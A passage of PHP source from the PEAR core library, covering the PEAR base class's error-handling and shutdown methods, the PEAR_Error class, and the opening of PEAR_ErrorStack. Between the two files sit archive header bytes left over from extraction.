     * Destructor (the emulated type of...).  Does nothing right now,
     * but is included for forward compatibility, so subclass
     * destructors should always call it.
     *
     * See the note in the class desciption about output from
     * destructors.
     *
     * @access public
     * @return void
     */
    function _PEAR() {
        if ($this->_debug) {
            printf("PEAR destructor called, class=%s\n", strtolower(get_class($this)));
        }
    }

    public function __call($method, $arguments)
    {
        if (!isset(self::$bivalentMethods[$method])) {
            trigger_error(
                'Call to undefined method PEAR::' . $method . '()', E_USER_ERROR
            );
        }
        return call_user_func_array(
            array(__CLASS__, '_' . $method),
            array_merge(array($this), $arguments)
        );
    }

    public static function __callStatic($method, $arguments)
    {
        if (!isset(self::$bivalentMethods[$method])) {
            trigger_error(
                'Call to undefined method PEAR::' . $method . '()', E_USER_ERROR
            );
        }
        return call_user_func_array(
            array(__CLASS__, '_' . $method),
            array_merge(array(null), $arguments)
        );
    }

    /**
    * If you have a class that's mostly/entirely static, and you need static
    * properties, you can use this method to simulate them. Eg. in your method(s)
    * do this: $myVar = &PEAR::getStaticProperty('myclass', 'myVar');
    * You MUST use a reference, or they will not persist!
    *
    * @param  string $class  The calling classname, to prevent clashes
    * @param  string $var    The variable to retrieve.
    * @return mixed   A reference to the variable. If not set it will be
    *                 auto initialised to NULL.
    */
    public static function &getStaticProperty($class, $var)
    {
        static $properties;
        if (!isset($properties[$class])) {
            $properties[$class] = array();
        }

        if (!array_key_exists($var, $properties[$class])) {
            $properties[$class][$var] = null;
        }

        return $properties[$class][$var];
    }

    /**
    * Use this function to register a shutdown method for static
    * classes.
    *
    * @param  mixed $func  The function name (or array of class/method) to call
    * @param  mixed $args  The arguments to pass to the function
    *
    * @return void
    */
    public static function registerShutdownFunc($func, $args = array())
    {
        // if we are called statically, there is a potential
        // that no shutdown func is registered.  Bug #6445
        if (!isset($GLOBALS['_PEAR_SHUTDOWN_REGISTERED'])) {
            register_shutdown_function("_PEAR_call_destructors");
            $GLOBALS['_PEAR_SHUTDOWN_REGISTERED'] = true;
        }
        $GLOBALS['_PEAR_shutdown_funcs'][] = array($func, $args);
    }

    /**
     * Tell whether a value is a PEAR error.
     *
     * @param   mixed $data   the value to test
     * @param   int   $code   if $data is an error object, return true
     *                        only if $code is a string and
     *                        $obj->getMessage() == $code or
     *                        $code is an integer and $obj->getCode() == $code
     *
     * @return  bool    true if parameter is an error
     */
    public static function isError($data, $code = null)
    {
        if (!is_a($data, 'PEAR_Error')) {
            return false;
        }

        if (is_null($code)) {
            return true;
        } elseif (is_string($code)) {
            return $data->getMessage() == $code;
        }

        return $data->getCode() == $code;
    }

    /**
     * Sets how errors generated by this object should be handled.
     * Can be invoked both in objects and statically.  If called
     * statically, setErrorHandling sets the default behaviour for all
     * PEAR objects.  If called in an object, setErrorHandling sets
     * the default behaviour for that object.
     *
     * @param object $object
     *        Object the method was called on (non-static mode)
     *
     * @param int $mode
     *        One of PEAR_ERROR_RETURN, PEAR_ERROR_PRINT,
     *        PEAR_ERROR_TRIGGER, PEAR_ERROR_DIE,
     *        PEAR_ERROR_CALLBACK or PEAR_ERROR_EXCEPTION.
     *
     * @param mixed $options
     *        When $mode is PEAR_ERROR_TRIGGER, this is the error level (one
     *        of E_USER_NOTICE, E_USER_WARNING or E_USER_ERROR).
     *
     *        When $mode is PEAR_ERROR_CALLBACK, this parameter is expected
     *        to be the callback function or method.  A callback
     *        function is a string with the name of the function, a
     *        callback method is an array of two elements: the element
     *        at index 0 is the object, and the element at index 1 is
     *        the name of the method to call in the object.
     *
     *        When $mode is PEAR_ERROR_PRINT or PEAR_ERROR_DIE, this is
     *        a printf format string used when printing the error
     *        message.
     *
     * @access public
     * @return void
     * @see PEAR_ERROR_RETURN
     * @see PEAR_ERROR_PRINT
     * @see PEAR_ERROR_TRIGGER
     * @see PEAR_ERROR_DIE
     * @see PEAR_ERROR_CALLBACK
     * @see PEAR_ERROR_EXCEPTION
     *
     * @since PHP 4.0.5
     */
    protected static function _setErrorHandling(
        $object, $mode = null, $options = null
    ) {
        if ($object !== null) {
            $setmode     = &$object->_default_error_mode;
            $setoptions  = &$object->_default_error_options;
        } else {
            $setmode     = &$GLOBALS['_PEAR_default_error_mode'];
            $setoptions  = &$GLOBALS['_PEAR_default_error_options'];
        }

        switch ($mode) {
            case PEAR_ERROR_EXCEPTION:
            case PEAR_ERROR_RETURN:
            case PEAR_ERROR_PRINT:
            case PEAR_ERROR_TRIGGER:
            case PEAR_ERROR_DIE:
            case null:
                $setmode = $mode;
                $setoptions = $options;
                break;

            case PEAR_ERROR_CALLBACK:
                $setmode = $mode;
                // class/object method callback
                if (is_callable($options)) {
                    $setoptions = $options;
                } else {
                    trigger_error("invalid error callback", E_USER_WARNING);
                }
                break;

            default:
                trigger_error("invalid error mode", E_USER_WARNING);
                break;
        }
    }

    /**
     * This method is used to tell which errors you expect to get.
     * Expected errors are always returned with error mode
     * PEAR_ERROR_RETURN.  Expected error codes are stored in a stack,
     * and this method pushes a new element onto it.  The list of
     * expected errors are in effect until they are popped off the
     * stack with the popExpect() method.
     *
     * Note that this method can not be called statically
     *
     * @param mixed $code a single error code or an array of error codes to expect
     *
     * @return int     the new depth of the "expected errors" stack
     * @access public
     */
    function expectError($code = '*')
    {
        if (is_array($code)) {
            array_push($this->_expected_errors, $code);
        } else {
            array_push($this->_expected_errors, array($code));
        }
        return count($this->_expected_errors);
    }

    /**
     * This method pops one element off the expected error codes
     * stack.
     *
     * @return array   the list of error codes that were popped
     */
    function popExpect()
    {
        return array_pop($this->_expected_errors);
    }

    /**
     * This method checks unsets an error code if available
     *
     * @param mixed error code
     * @return bool true if the error code was unset, false otherwise
     * @access private
     * @since PHP 4.3.0
     */
    function _checkDelExpect($error_code)
    {
        $deleted = false;
        foreach ($this->_expected_errors as $key => $error_array) {
            if (in_array($error_code, $error_array)) {
                unset($this->_expected_errors[$key][array_search($error_code, $error_array)]);
                $deleted = true;
            }

            // clean up empty arrays
            if (0 == count($this->_expected_errors[$key])) {
                unset($this->_expected_errors[$key]);
            }
        }

        return $deleted;
    }

    /**
     * This method deletes all occurrences of the specified element from
     * the expected error codes stack.
     *
     * @param  mixed $error_code error code that should be deleted
     * @return mixed list of error codes that were deleted or error
     * @access public
     * @since PHP 4.3.0
     */
    function delExpect($error_code)
    {
        $deleted = false;
        if ((is_array($error_code) && (0 != count($error_code)))) {
            // $error_code is a non-empty array here; we walk through it trying
            // to unset all values
            foreach ($error_code as $key => $error) {
                $deleted =  $this->_checkDelExpect($error) ? true : false;
            }

            return $deleted ? true : PEAR::raiseError("The expected error you submitted does not exist"); // IMPROVE ME
        } elseif (!empty($error_code)) {
            // $error_code comes alone, trying to unset it
            if ($this->_checkDelExpect($error_code)) {
                return true;
            }

            return PEAR::raiseError("The expected error you submitted does not exist"); // IMPROVE ME
        }

        // $error_code is empty
        return PEAR::raiseError("The expected error you submitted is empty"); // IMPROVE ME
    }

    /**
     * This method is a wrapper that returns an instance of the
     * configured error class with this object's default error
     * handling applied.  If the $mode and $options parameters are not
     * specified, the object's defaults are used.
     *
     * @param mixed $message a text error message or a PEAR error object
     *
     * @param int $code      a numeric error code (it is up to your class
     *                  to define these if you want to use codes)
     *
     * @param int $mode      One of PEAR_ERROR_RETURN, PEAR_ERROR_PRINT,
     *                  PEAR_ERROR_TRIGGER, PEAR_ERROR_DIE,
     *                  PEAR_ERROR_CALLBACK, PEAR_ERROR_EXCEPTION.
     *
     * @param mixed $options If $mode is PEAR_ERROR_TRIGGER, this parameter
     *                  specifies the PHP-internal error level (one of
     *                  E_USER_NOTICE, E_USER_WARNING or E_USER_ERROR).
     *                  If $mode is PEAR_ERROR_CALLBACK, this
     *                  parameter specifies the callback function or
     *                  method.  In other error modes this parameter
     *                  is ignored.
     *
     * @param string $userinfo If you need to pass along for example debug
     *                  information, this parameter is meant for that.
     *
     * @param string $error_class The returned error object will be
     *                  instantiated from this class, if specified.
     *
     * @param bool $skipmsg If true, raiseError will only pass error codes,
     *                  the error message parameter will be dropped.
     *
     * @return object   a PEAR error object
     * @see PEAR::setErrorHandling
     * @since PHP 4.0.5
     */
    protected static function _raiseError($object,
                         $message = null,
                         $code = null,
                         $mode = null,
                         $options = null,
                         $userinfo = null,
                         $error_class = null,
                         $skipmsg = false)
    {
        // The error is yet a PEAR error object
        if (is_object($message)) {
            $code        = $message->getCode();
            $userinfo    = $message->getUserInfo();
            $error_class = $message->getType();
            $message->error_message_prefix = '';
            $message     = $message->getMessage();
        }

        if (
            $object !== null &&
            isset($object->_expected_errors) &&
            count($object->_expected_errors) > 0 &&
            count($exp = end($object->_expected_errors))
        ) {
            if ($exp[0] === "*" ||
                (is_int(reset($exp)) && in_array($code, $exp)) ||
                (is_string(reset($exp)) && in_array($message, $exp))
            ) {
                $mode = PEAR_ERROR_RETURN;
            }
        }

        // No mode given, try global ones
        if ($mode === null) {
            // Class error handler
            if ($object !== null && isset($object->_default_error_mode)) {
                $mode    = $object->_default_error_mode;
                $options = $object->_default_error_options;
            // Global error handler
            } elseif (isset($GLOBALS['_PEAR_default_error_mode'])) {
                $mode    = $GLOBALS['_PEAR_default_error_mode'];
                $options = $GLOBALS['_PEAR_default_error_options'];
            }
        }

        if ($error_class !== null) {
            $ec = $error_class;
        } elseif ($object !== null && isset($object->_error_class)) {
            $ec = $object->_error_class;
        } else {
            $ec = 'PEAR_Error';
        }

        if ($skipmsg) {
            $a = new $ec($code, $mode, $options, $userinfo);
        } else {
            $a = new $ec($message, $code, $mode, $options, $userinfo);
        }

        return $a;
    }

    /**
     * Simpler form of raiseError with fewer options.  In most cases
     * message, code and userinfo are enough.
     *
     * @param mixed $message a text error message or a PEAR error object
     *
     * @param int $code      a numeric error code (it is up to your class
     *                  to define these if you want to use codes)
     *
     * @param string $userinfo If you need to pass along for example debug
     *                  information, this parameter is meant for that.
     *
     * @return object   a PEAR error object
     * @see PEAR::raiseError
     */
    protected static function _throwError($object, $message = null, $code = null, $userinfo = null)
    {
        if ($object !== null) {
            $a = $object->raiseError($message, $code, null, null, $userinfo);
            return $a;
        }

        $a = PEAR::raiseError($message, $code, null, null, $userinfo);
        return $a;
    }

    public static function staticPushErrorHandling($mode, $options = null)
    {
        $stack       = &$GLOBALS['_PEAR_error_handler_stack'];
        $def_mode    = &$GLOBALS['_PEAR_default_error_mode'];
        $def_options = &$GLOBALS['_PEAR_default_error_options'];
        $stack[] = array($def_mode, $def_options);
        switch ($mode) {
            case PEAR_ERROR_EXCEPTION:
            case PEAR_ERROR_RETURN:
            case PEAR_ERROR_PRINT:
            case PEAR_ERROR_TRIGGER:
            case PEAR_ERROR_DIE:
            case null:
                $def_mode = $mode;
                $def_options = $options;
                break;

            case PEAR_ERROR_CALLBACK:
                $def_mode = $mode;
                // class/object method callback
                if (is_callable($options)) {
                    $def_options = $options;
                } else {
                    trigger_error("invalid error callback", E_USER_WARNING);
                }
                break;

            default:
                trigger_error("invalid error mode", E_USER_WARNING);
                break;
        }
        $stack[] = array($mode, $options);
        return true;
    }

    public static function staticPopErrorHandling()
    {
        $stack = &$GLOBALS['_PEAR_error_handler_stack'];
        $setmode     = &$GLOBALS['_PEAR_default_error_mode'];
        $setoptions  = &$GLOBALS['_PEAR_default_error_options'];
        array_pop($stack);
        list($mode, $options) = $stack[sizeof($stack) - 1];
        array_pop($stack);
        switch ($mode) {
            case PEAR_ERROR_EXCEPTION:
            case PEAR_ERROR_RETURN:
            case PEAR_ERROR_PRINT:
            case PEAR_ERROR_TRIGGER:
            case PEAR_ERROR_DIE:
            case null:
                $setmode = $mode;
                $setoptions = $options;
                break;

            case PEAR_ERROR_CALLBACK:
                $setmode = $mode;
                // class/object method callback
                if (is_callable($options)) {
                    $setoptions = $options;
                } else {
                    trigger_error("invalid error callback", E_USER_WARNING);
                }
                break;

            default:
                trigger_error("invalid error mode", E_USER_WARNING);
                break;
        }
        return true;
    }

    /**
     * Push a new error handler on top of the error handler options stack. With this
     * you can easily override the actual error handler for some code and restore
     * it later with popErrorHandling.
     *
     * @param mixed $mode (same as setErrorHandling)
     * @param mixed $options (same as setErrorHandling)
     *
     * @return bool Always true
     *
     * @see PEAR::setErrorHandling
     */
    protected static function _pushErrorHandling($object, $mode, $options = null)
    {
        $stack = &$GLOBALS['_PEAR_error_handler_stack'];
        if ($object !== null) {
            $def_mode    = &$object->_default_error_mode;
            $def_options = &$object->_default_error_options;
        } else {
            $def_mode    = &$GLOBALS['_PEAR_default_error_mode'];
            $def_options = &$GLOBALS['_PEAR_default_error_options'];
        }
        $stack[] = array($def_mode, $def_options);

        if ($object !== null) {
            $object->setErrorHandling($mode, $options);
        } else {
            PEAR::setErrorHandling($mode, $options);
        }
        $stack[] = array($mode, $options);
        return true;
    }

    /**
    * Pop the last error handler used
    *
    * @return bool Always true
    *
    * @see PEAR::pushErrorHandling
    */
    protected static function _popErrorHandling($object)
    {
        $stack = &$GLOBALS['_PEAR_error_handler_stack'];
        array_pop($stack);
        list($mode, $options) = $stack[sizeof($stack) - 1];
        array_pop($stack);
        if ($object !== null) {
            $object->setErrorHandling($mode, $options);
        } else {
            PEAR::setErrorHandling($mode, $options);
        }
        return true;
    }

    /**
    * OS independent PHP extension load. Remember to take care
    * on the correct extension name for case sensitive OSes.
    *
    * @param string $ext The extension name
    * @return bool Success or not on the dl() call
    */
    public static function loadExtension($ext)
    {
        if (extension_loaded($ext)) {
            return true;
        }

        // if either returns true dl() will produce a FATAL error, stop that
        if (
            function_exists('dl') === false ||
            ini_get('enable_dl') != 1
        ) {
            return false;
        }

        if (OS_WINDOWS) {
            $suffix = '.dll';
        } elseif (PHP_OS == 'HP-UX') {
            $suffix = '.sl';
        } elseif (PHP_OS == 'AIX') {
            $suffix = '.a';
        } elseif (PHP_OS == 'OSX') {
            $suffix = '.bundle';
        } else {
            $suffix = '.so';
        }

        return @dl('php_'.$ext.$suffix) || @dl($ext.$suffix);
    }

    /**
     * Get SOURCE_DATE_EPOCH environment variable
     * See https://reproducible-builds.org/specs/source-date-epoch/
     *
     * @return int
     * @access public
     */
    static function getSourceDateEpoch()
    {
        if ($source_date_epoch = getenv('SOURCE_DATE_EPOCH')) {
            if (preg_match('/^\d+$/', $source_date_epoch)) {
                return (int) $source_date_epoch;
            } else {
            //  "If the value is malformed, the build process SHOULD exit with a non-zero error code."
            self::raiseError("Invalid SOURCE_DATE_EPOCH: $source_date_epoch");
            exit(1);
            }
        } else {
            return time();
        }
    }
}

function _PEAR_call_destructors()
{
    global $_PEAR_destructor_object_list;
    if (is_array($_PEAR_destructor_object_list) &&
        sizeof($_PEAR_destructor_object_list))
    {
        reset($_PEAR_destructor_object_list);

        $destructLifoExists = PEAR::getStaticProperty('PEAR', 'destructlifo');

        if ($destructLifoExists) {
            $_PEAR_destructor_object_list = array_reverse($_PEAR_destructor_object_list);
        }

        foreach ($_PEAR_destructor_object_list as $k => $objref) {
            $classname = get_class($objref);
            while ($classname) {
                $destructor = "_$classname";
                if (method_exists($objref, $destructor)) {
                    $objref->$destructor();
                    break;
                } else {
                    $classname = get_parent_class($classname);
                }
            }
        }
        // Empty the object list to ensure that destructors are
        // not called more than once.
        $_PEAR_destructor_object_list = array();
    }

    // Now call the shutdown functions
    if (
        isset($GLOBALS['_PEAR_shutdown_funcs']) &&
        is_array($GLOBALS['_PEAR_shutdown_funcs']) &&
        !empty($GLOBALS['_PEAR_shutdown_funcs'])
    ) {
        foreach ($GLOBALS['_PEAR_shutdown_funcs'] as $value) {
            call_user_func_array($value[0], $value[1]);
        }
    }
}

/**
 * Standard PEAR error class for PHP 4
 *
 * This class is supserseded by {@link PEAR_Exception} in PHP 5
 *
 * @category   pear
 * @package    PEAR
 * @author     Stig Bakken <ssb@php.net>
 * @author     Tomas V.V. Cox <cox@idecnet.com>
 * @author     Gregory Beaver <cellog@php.net>
 * @copyright  1997-2006 The PHP Group
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @version    Release: @package_version@
 * @link       http://pear.php.net/manual/en/core.pear.pear-error.php
 * @see        PEAR::raiseError(), PEAR::throwError()
 * @since      Class available since PHP 4.0.2
 */
class PEAR_Error
{
    var $error_message_prefix = '';
    var $mode                 = PEAR_ERROR_RETURN;
    var $level                = E_USER_NOTICE;
    var $code                 = -1;
    var $message              = '';
    var $userinfo             = '';
    var $backtrace            = null;
    var $callback             = null;

    /**
     * PEAR_Error constructor
     *
     * @param string $message  message
     *
     * @param int $code     (optional) error code
     *
     * @param int $mode     (optional) error mode, one of: PEAR_ERROR_RETURN,
     * PEAR_ERROR_PRINT, PEAR_ERROR_DIE, PEAR_ERROR_TRIGGER,
     * PEAR_ERROR_CALLBACK or PEAR_ERROR_EXCEPTION
     *
     * @param mixed $options   (optional) error level, _OR_ in the case of
     * PEAR_ERROR_CALLBACK, the callback function or object/method
     * tuple.
     *
     * @param string $userinfo (optional) additional user/debug info
     *
     * @access public
     *
     */
    function __construct($message = 'unknown error', $code = null,
                        $mode = null, $options = null, $userinfo = null)
    {
        if ($mode === null) {
            $mode = PEAR_ERROR_RETURN;
        }
        $this->message   = $message;
        $this->code      = $code;
        $this->mode      = $mode;
        $this->userinfo  = $userinfo;

        $skiptrace = PEAR::getStaticProperty('PEAR_Error', 'skiptrace');

        if (!$skiptrace) {
            $this->backtrace = debug_backtrace();
            if (isset($this->backtrace[0]) && isset($this->backtrace[0]['object'])) {
                unset($this->backtrace[0]['object']);
            }
        }

        if ($mode & PEAR_ERROR_CALLBACK) {
            $this->level = E_USER_NOTICE;
            $this->callback = $options;
        } else {
            if ($options === null) {
                $options = E_USER_NOTICE;
            }

            $this->level = $options;
            $this->callback = null;
        }

        if ($this->mode & PEAR_ERROR_PRINT) {
            if (is_null($options) || is_int($options)) {
                $format = "%s";
            } else {
                $format = $options;
            }

            printf($format, $this->getMessage());
        }

        if ($this->mode & PEAR_ERROR_TRIGGER) {
            trigger_error($this->getMessage(), $this->level);
        }

        if ($this->mode & PEAR_ERROR_DIE) {
            $msg = $this->getMessage();
            if (is_null($options) || is_int($options)) {
                $format = "%s";
                if (substr($msg, -1) != "\n") {
                    $msg .= "\n";
                }
            } else {
                $format = $options;
            }
            printf($format, $msg);
            exit($code);
        }

        if ($this->mode & PEAR_ERROR_CALLBACK && is_callable($this->callback)) {
            call_user_func($this->callback, $this);
        }

        if ($this->mode & PEAR_ERROR_EXCEPTION) {
            trigger_error("PEAR_ERROR_EXCEPTION is obsolete, use class PEAR_Exception for exceptions", E_USER_WARNING);
            eval('$e = new Exception($this->message, $this->code);throw($e);');
        }
    }

    /**
     * Only here for backwards compatibility.
     *
     * Class "Cache_Error" still uses it, among others.
     *
     * @param string $message  Message
     * @param int    $code     Error code
     * @param int    $mode     Error mode
     * @param mixed  $options  See __construct()
     * @param string $userinfo Additional user/debug info
     */
    public function PEAR_Error(
        $message = 'unknown error', $code = null, $mode = null,
        $options = null, $userinfo = null
    ) {
        self::__construct($message, $code, $mode, $options, $userinfo);
    }

    /**
     * Get the error mode from an error object.
     *
     * @return int error mode
     * @access public
     */
    function getMode()
    {
        return $this->mode;
    }

    /**
     * Get the callback function/method from an error object.
     *
     * @return mixed callback function or object/method array
     * @access public
     */
    function getCallback()
    {
        return $this->callback;
    }

    /**
     * Get the error message from an error object.
     *
     * @return  string  full error message
     * @access public
     */
    function getMessage()
    {
        return ($this->error_message_prefix . $this->message);
    }

    /**
     * Get error code from an error object
     *
     * @return int error code
     * @access public
     */
     function getCode()
     {
        return $this->code;
     }

    /**
     * Get the name of this error/exception.
     *
     * @return string error/exception name (type)
     * @access public
     */
    function getType()
    {
        return get_class($this);
    }

    /**
     * Get additional user-supplied information.
     *
     * @return string user-supplied information
     * @access public
     */
    function getUserInfo()
    {
        return $this->userinfo;
    }

    /**
     * Get additional debug information supplied by the application.
     *
     * @return string debug information
     * @access public
     */
    function getDebugInfo()
    {
        return $this->getUserInfo();
    }

    /**
     * Get the call backtrace from where the error was generated.
     * Supported with PHP 4.3.0 or newer.
     *
     * @param int $frame (optional) what frame to fetch
     * @return array Backtrace, or NULL if not available.
     * @access public
     */
    function getBacktrace($frame = null)
    {
        if (defined('PEAR_IGNORE_BACKTRACE')) {
            return null;
        }
        if ($frame === null) {
            return $this->backtrace;
        }
        return $this->backtrace[$frame];
    }

    function addUserInfo($info)
    {
        if (empty($this->userinfo)) {
            $this->userinfo = $info;
        } else {
            $this->userinfo .= " ** $info";
        }
    }

    function __toString()
    {
        return $this->getMessage();
    }

    /**
     * Make a string representation of this object.
     *
     * @return string a string with an object summary
     * @access public
     */
    function toString()
    {
        $modes = array();
        $levels = array(E_USER_NOTICE  => 'notice',
                        E_USER_WARNING => 'warning',
                        E_USER_ERROR   => 'error');
        if ($this->mode & PEAR_ERROR_CALLBACK) {
            if (is_array($this->callback)) {
                $callback = (is_object($this->callback[0]) ?
                    strtolower(get_class($this->callback[0])) :
                    $this->callback[0]) . '::' .
                    $this->callback[1];
            } else {
                $callback = $this->callback;
            }
            return sprintf('[%s: message="%s" code=%d mode=callback '.
                           'callback=%s prefix="%s" info="%s"]',
                           strtolower(get_class($this)), $this->message, $this->code,
                           $callback, $this->error_message_prefix,
                           $this->userinfo);
        }
        if ($this->mode & PEAR_ERROR_PRINT) {
            $modes[] = 'print';
        }
        if ($this->mode & PEAR_ERROR_TRIGGER) {
            $modes[] = 'trigger';
        }
        if ($this->mode & PEAR_ERROR_DIE) {
            $modes[] = 'die';
        }
        if ($this->mode & PEAR_ERROR_RETURN) {
            $modes[] = 'return';
        }
        return sprintf('[%s: message="%s" code=%d mode=%s level=%s '.
                       'prefix="%s" info="%s"]',
                       strtolower(get_class($this)), $this->message, $this->code,
                       implode("|", $modes), $levels[$this->level],
                       $this->error_message_prefix,
                       $this->userinfo);
    }
}

/*
 * Local Variables:
 * mode: php
 * tab-width: 4
 * c-basic-offset: 4
 * End:
 */
PK
h�\V���5vendor/pear/pear-core-minimal/src/PEAR/ErrorStack.phpnu�[���<?php
/**
 * Error Stack Implementation
 * 
 * This is an incredibly simple implementation of a very complex error handling
 * facility.  It contains the ability
 * to track multiple errors from multiple packages simultaneously.  In addition,
 * it can track errors of many levels, save data along with the error, context
 * information such as the exact file, line number, class and function that
 * generated the error, and if necessary, it can raise a traditional PEAR_Error.
 * It has built-in support for PEAR::Log, to log errors as they occur
 * 
 * Since version 0.2alpha, it is also possible to selectively ignore errors,
 * through the use of an error callback, see {@link pushCallback()}
 * 
 * Since version 0.3alpha, it is possible to specify the exception class
 * returned from {@link push()}
 *
 * Since version PEAR1.3.2, ErrorStack no longer instantiates an exception class.  This can
 * still be done quite handily in an error callback or by manipulating the returned array
 * @category   Debugging
 * @package    PEAR_ErrorStack
 * @author     Greg Beaver <cellog@php.net>
 * @copyright  2004-2008 Greg Beaver
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @link       http://pear.php.net/package/PEAR_ErrorStack
 */

/**
 * Singleton storage
 * 
 * Format:
 * <pre>
 * array(
 *  'package1' => PEAR_ErrorStack object,
 *  'package2' => PEAR_ErrorStack object,
 *  ...
 * )
 * </pre>
 * @access private
 * @global array $GLOBALS['_PEAR_ERRORSTACK_SINGLETON']
 */
$GLOBALS['_PEAR_ERRORSTACK_SINGLETON'] = array();

/**
 * Global error callback (default)
 * 
 * This is only used if set to non-false.  * is the default callback for
 * all packages, whereas specific packages may set a default callback
 * for all instances, regardless of whether they are a singleton or not.
 *
 * To exclude non-singletons, only set the local callback for the singleton
 * @see PEAR_ErrorStack::setDefaultCallback()
 * @access private
 * @global array $GLOBALS['_PEAR_ERRORSTACK_DEFAULT_CALLBACK']
 */
$GLOBALS['_PEAR_ERRORSTACK_DEFAULT_CALLBACK'] = array(
    '*' => false,
);

/**
 * Global Log object (default)
 * 
 * This is only used if set to non-false.  Use to set a default log object for
 * all stacks, regardless of instantiation order or location
 * @see PEAR_ErrorStack::setDefaultLogger()
 * @access private
 * @global array $GLOBALS['_PEAR_ERRORSTACK_DEFAULT_LOGGER']
 */
$GLOBALS['_PEAR_ERRORSTACK_DEFAULT_LOGGER'] = false;

/**
 * Global Overriding Callback
 * 
 * This callback will override any error callbacks that specific loggers have set.
 * Use with EXTREME caution
 * @see PEAR_ErrorStack::staticPushCallback()
 * @access private
 * @global array $GLOBALS['_PEAR_ERRORSTACK_DEFAULT_LOGGER']
 */
$GLOBALS['_PEAR_ERRORSTACK_OVERRIDE_CALLBACK'] = array();

/**#@+
 * One of four possible return values from the error Callback
 * @see PEAR_ErrorStack::_errorCallback()
 */
/**
 * If this is returned, then the error will be both pushed onto the stack
 * and logged.
 */
define('PEAR_ERRORSTACK_PUSHANDLOG', 1);
/**
 * If this is returned, then the error will only be pushed onto the stack,
 * and not logged.
 */
define('PEAR_ERRORSTACK_PUSH', 2);
/**
 * If this is returned, then the error will only be logged, but not pushed
 * onto the error stack.
 */
define('PEAR_ERRORSTACK_LOG', 3);
/**
 * If this is returned, then the error is completely ignored.
 */
define('PEAR_ERRORSTACK_IGNORE', 4);
/**
 * If this is returned, then the error is logged and die() is called.
 */
define('PEAR_ERRORSTACK_DIE', 5);
/**#@-*/

/**
 * Error code for an attempt to instantiate a non-class as a PEAR_ErrorStack in
 * the singleton method.
 */
define('PEAR_ERRORSTACK_ERR_NONCLASS', 1);

/**
 * Error code for an attempt to pass an object into {@link PEAR_ErrorStack::getMessage()}
 * that has no __toString() method
 */
define('PEAR_ERRORSTACK_ERR_OBJTOSTRING', 2);
/**
 * Error Stack Implementation
 *
 * Usage:
 * <code>
 * // global error stack
 * $global_stack = &PEAR_ErrorStack::singleton('MyPackage');
 * // local error stack
 * $local_stack = new PEAR_ErrorStack('MyPackage');
 * </code>
 * @author     Greg Beaver <cellog@php.net>
 * @version    @package_version@
 * @package    PEAR_ErrorStack
 * @category   Debugging
 * @copyright  2004-2008 Greg Beaver
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @link       http://pear.php.net/package/PEAR_ErrorStack
 */
class PEAR_ErrorStack {
    /**
     * Errors are stored in the order that they are pushed on the stack.
     * @since 0.4alpha Errors are no longer organized by error level.
     * This renders pop() nearly unusable, and levels could be more easily
     * handled in a callback anyway
     * @var array
     * @access private
     */
    var $_errors = array();

    /**
     * Storage of errors by level.
     *
     * Allows easy retrieval and deletion of only errors from a particular level
     * @since PEAR 1.4.0dev
     * @var array
     * @access private
     */
    var $_errorsByLevel = array();

    /**
     * Package name this error stack represents
     * @var string
     * @access protected
     */
    var $_package;
    
    /**
     * Determines whether a PEAR_Error is thrown upon every error addition
     * @var boolean
     * @access private
     */
    var $_compat = false;
    
    /**
     * If set to a valid callback, this will be used to generate the error
     * message from the error code, otherwise the message passed in will be
     * used
     * @var false|string|array
     * @access private
     */
    var $_msgCallback = false;
    
    /**
     * If set to a valid callback, this will be used to generate the error
     * context for an error.  For PHP-related errors, this will be a file
     * and line number as retrieved from debug_backtrace(), but can be
     * customized for other purposes.  The error might actually be in a separate
     * configuration file, or in a database query.
     * @var false|string|array
     * @access protected
     */
    var $_contextCallback = false;

    /**
     * If set to a valid callback, this will be called every time an error
     * is pushed onto the stack.  The return value will be used to determine
     * whether to allow an error to be pushed or logged.
     *
     * The return value must be one an PEAR_ERRORSTACK_* constant
     * @see PEAR_ERRORSTACK_PUSHANDLOG, PEAR_ERRORSTACK_PUSH, PEAR_ERRORSTACK_LOG
     * @var false|string|array
     * @access protected
     */
    var $_errorCallback = array();

    /**
     * PEAR::Log object for logging errors
     * @var false|Log
     * @access protected
     */
    var $_logger = false;

    /**
     * Error messages - designed to be overridden
     * @var array
     * @abstract
     */
    var $_errorMsgs = array();

    /**
     * Set up a new error stack
     *
     * @param string   $package name of the package this error stack represents
     * @param callback $msgCallback callback used for error message generation
     * @param callback $contextCallback callback used for context generation,
     *                 defaults to {@link getFileLine()}
     * @param boolean  $throwPEAR_Error
     */
    function __construct($package, $msgCallback = false, $contextCallback = false,
                         $throwPEAR_Error = false)
    {
        $this->_package = $package;
        $this->setMessageCallback($msgCallback);
        $this->setContextCallback($contextCallback);
        $this->_compat = $throwPEAR_Error;
    }
    
    /**
     * Return a single error stack for this package.
     * 
     * Note that all parameters are ignored if the stack for package $package
     * has already been instantiated
     * @param string   $package name of the package this error stack represents
     * @param callback $msgCallback callback used for error message generation
     * @param callback $contextCallback callback used for context generation,
     *                 defaults to {@link getFileLine()}
     * @param boolean  $throwPEAR_Error
     * @param string   $stackClass class to instantiate
     *
     * @return PEAR_ErrorStack
     */
    public static function &singleton(
        $package, $msgCallback = false, $contextCallback = false,
        $throwPEAR_Error = false, $stackClass = 'PEAR_ErrorStack'
    ) {
        if (isset($GLOBALS['_PEAR_ERRORSTACK_SINGLETON'][$package])) {
            return $GLOBALS['_PEAR_ERRORSTACK_SINGLETON'][$package];
        }
        if (!class_exists($stackClass)) {
            if (function_exists('debug_backtrace')) {
                $trace = debug_backtrace();
            }
            PEAR_ErrorStack::staticPush('PEAR_ErrorStack', PEAR_ERRORSTACK_ERR_NONCLASS,
                'exception', array('stackclass' => $stackClass),
                'stack class "%stackclass%" is not a valid class name (should be like PEAR_ErrorStack)',
                false, $trace);
        }
        $GLOBALS['_PEAR_ERRORSTACK_SINGLETON'][$package] =
            new $stackClass($package, $msgCallback, $contextCallback, $throwPEAR_Error);

        return $GLOBALS['_PEAR_ERRORSTACK_SINGLETON'][$package];
    }

    /**
     * Internal error handler for PEAR_ErrorStack class
     * 
     * Dies if the error is an exception (and would have died anyway)
     * @access private
     */
    function _handleError($err)
    {
        if ($err['level'] == 'exception') {
            $message = $err['message'];
            if (isset($_SERVER['REQUEST_URI'])) {
                echo '<br />';
            } else {
                echo "\n";
            }
            var_dump($err['context']);
            die($message);
        }
    }
    
    /**
     * Set up a PEAR::Log object for all error stacks that don't have one
     * @param Log $log 
     */
